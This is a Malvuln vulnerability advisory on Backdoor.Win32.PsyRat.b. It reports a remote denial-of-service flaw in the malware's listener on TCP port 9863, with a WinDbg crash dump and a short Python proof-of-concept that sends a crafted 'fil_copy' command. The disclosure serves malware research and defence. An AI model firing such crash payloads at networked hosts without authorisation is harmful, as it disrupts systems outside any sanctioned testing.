Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Remote Denial of Service
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863. Third-party attackers who can reach infected systems can send a specially crafted command payload that results in access violation and crash.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0307
Dropped files: server.exe
Disclosure: 07/26/2021

Memory Dump:
(f38.160c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=00000001 edx=0277c51c esi=00000003 edi=00000003
eip=77e5ed3c esp=0277bbcc ebp=0277bd5c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!NtWaitForMultipleObjects+0xc:
77e5ed3c c21400          ret     14h

0:001> .ecxr
eax=00000000 ebx=765a38d0 ecx=00000001 edx=0277c51c esi=00000002 edi=0277cd04
eip=77e4f80a esp=0277c508 ebp=0277c50c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!RtlInitAnsiStringEx+0x1a:
77e4f80a 8a01            mov     al,byte ptr [ecx]          ds:002b:00000001=??
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for kernel32.dll - 

0:001> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

*** WARNING: Unable to verify checksum for server.exe
*** ERROR: Module load completed but symbols could not be loaded for server.exe

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP: 
ntdll!RtlInitAnsiStringEx+1a
77e4f80a 8a01            mov     al,byte ptr [ecx]

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 77e4f80a (ntdll!RtlInitAnsiStringEx+0x0000001a)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 00000001
Attempt to read from address 00000001

PROCESS_NAME:  server.exe

ADDITIONAL_DEBUG_TEXT:  
Use '!findthebuild' command to search for the target build information.
If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols.

MODULE_NAME: server

FAULTING_MODULE: 77df0000 ntdll

DEBUG_FLR_IMAGE_TIMESTAMP:  42827767

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  00000001

READ_ADDRESS:  00000001 

FOLLOWUP_IP: 
server+268d
0040268d e9aaf1ffff      jmp     server+0x183c (0040183c)

MOD_LIST: <ANALYSIS/>

FAULTING_THREAD:  0000160c

BUGCHECK_STR:  APPLICATION_FAULT_NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_INVALID_POINTER_READ_WRONG_SYMBOLS

PRIMARY_PROBLEM_CLASS:  NULL_CLASS_PTR_DEREFERENCE_ONE_BIT

DEFAULT_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_ONE_BIT

LAST_CONTROL_TRANSFER:  from 74c615ff to 77e4f80a

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
0277c50c 74c615ff 0277c51c 00000001 00000000 ntdll!RtlInitAnsiStringEx+0x1a
0277c528 74c6d9b5 0277c544 00000001 0277d38d kernel32!Basep8BitStringToDynamicUnicodeString+0x1f
0277c54c 0040268d 0277c904 00000001 00000000 kernel32!CopyFileA+0x25
0277c550 0277c904 00000001 00000000 00401610 server+0x268d
0277c554 00000000 00000000 00401610 00401610 0x277c904


STACK_COMMAND:  ~1s; .ecxr ; kb

SYMBOL_STACK_INDEX:  3

SYMBOL_NAME:  server+268d

FOLLOWUP_NAME:  MachineOwner

IMAGE_NAME:  server.exe

BUCKET_ID:  WRONG_SYMBOLS

FAILURE_BUCKET_ID:  NULL_CLASS_PTR_DEREFERENCE_ONE_BIT_c0000005_server.exe!Unknown

Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=9863

s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

s.send("\r\n")
time.sleep(0.3)

s.send("\r\n")
time.sleep(0.3)

PAYLOAD="fil_copy AAAA"
s.send(PAYLOAD)
s.close()

print("Backdoor.Win32.PsyRat.b / Remote Denial of Service")
print("MD5: 5817183894cb513239f6aef28895130c")
print("By Malvuln")


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